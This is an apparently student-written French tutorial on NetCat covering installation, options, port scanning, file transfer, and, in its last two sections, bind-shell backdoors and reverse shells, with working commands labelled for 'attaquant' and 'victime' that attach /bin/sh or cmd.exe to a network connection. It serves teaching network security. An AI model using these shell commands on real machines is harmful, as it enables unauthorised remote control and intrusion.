Département de Mathématiques et Informatique

Master 2 Réseaux, images, Paroles

Filière Réseaux

Javier Enrique Salazar

 

NetCat.

 

 

NetCat est un outil qui permet créer des connexions  TCP/IP, est aussi connu comment le couteau suisse TCP/IP,  il existe en plusieurs systèmes d’exploitation et s’utilise en ligne de commandes.

 

Installation :

 

En Ubuntu ou Devian :

apt-get install netcat

 

Les dernières versions de ces systèmes d’exploitation ont déjà netcat installé mais sans toutes les fonctionnalités, dans ce cas il est nécessaire d’installer le paquet netcat-traditional de la même façon :

apt-get install netcat-traditional

En Fedora:

yum install nc

 

En Windows il est nécessaire de télécharger l’exécutable et le décompresser, il est facilement trouvable en internet, après l’installation pendant la première utilisation il faut permettre l’accès dans le firewall de Windows.

 

Utilisation :

 

La commande pour lancer NetCat est «nc <options>» dont les options sont :

 

Option

Fonction

-l

Listen. Mode écouteur, écoute les connexions, est le mode client par défaut

-L

Listen Harder. Seulement en la version Windows pour faire NetCat un écouteur persistant. (quand la connexion termine il commence a écouter automatiquement).

-u

Mode UDP, par défaut il est TCP

-p

Port locale, en mode écouteur est le porte source, en mode client est le porte d’où vient les paquets.

-e

Programme à lancer une fois la connexion commence.

-n

Ne pas chercher noms DNS des machines de l’autre coté

-z

Mode zéro, n’envoie pas data, seulement un paquet sans charge utile.

-wN

Attends connexions pour  N secondes  après ferme NetCad.

-v

Mode verbose, montre en écran les messages d’erreur standard quand il existe des connexions.

-vv

Very verbose. Imprime encore plus messages qu’en mode v.

 

 

Port Scanning :

 

NetCat peut être utilisé comme scanneur de ports, il suffit d’utiliser la commande de la manière suivante.

 

nc –nvvz <adresse IP cible> <port> -w1

 

 

 

Dont port peut être un port simple (80) ou un range des ports (1-80), -vv affiche tous les messages, -z pour ne pas envoyer data et –w1 pour attendre maximum 1seconde per port.

 

File Transfer :

 

NetCat peut être aussi utilisé pour envoyer fichiers entre deux machines, il faut seulement exécuter deux commandes une dans le envoyeur et autre dans le récepteur :

 

  1. Dans le  récepteur du fichier :

nc <options> -l <port> > nomfichier

Exemple : nc -vv -l 5678 > Tesla.jpg

 

  1. Dans l’envoyeur ou source du fichier :

 

c <adresse IP serveur> <port> <  nomfichier

nc 192.168.1.1 5678 < Tesla.jpg

 

Backdoor shell :

 

On peut utiliser NetCat pout créer une Backdoor ou une porte arrière afin de accéder à une machine, cela nous permet d’exécuter commandes à distance en une machine.

 

NetCat permet d’exécuter un programme après d’établir la connexion avec l’option –e, si le programme à exécuter est la ligne de commandes ou Shell, on peut réussir à créer une connexion à distance à la console des commandes, pour créer un serveur avec la console dans un ordinateur le processus est:

 

PC cible :

 

Linux:

nc –lvvp 1234 –e /bin/sh

ou

nc –lvvp 1234 –e /bin/bash

 

Windows

nc –lvvp 1234 –e cmd.exe

 

Attaquant:

nc –vvp <adresse IP victime> 1234

 

 

Reverse shell:

 

Si l’ordinateur cible appartient à une réseau avec un firewall il est possible que la connexion a  un serveur internet soit interdite des dehors la réseau, les firewalls normalement ne permettent pas la connexion des clients depuis l’extérieur, mais il permet le cas contraire, le reverse Shell permet d’envoyer la console en tant que client (victime) à un serveur (attaquant).

 

Exemple :

 

Attaquant :

nc –lvvp 1234

Victime:

Linux:  nc 192.168.0.14 1234 –e /bin/sh

Windows: nc 192.168.0.14 –e cmd.exe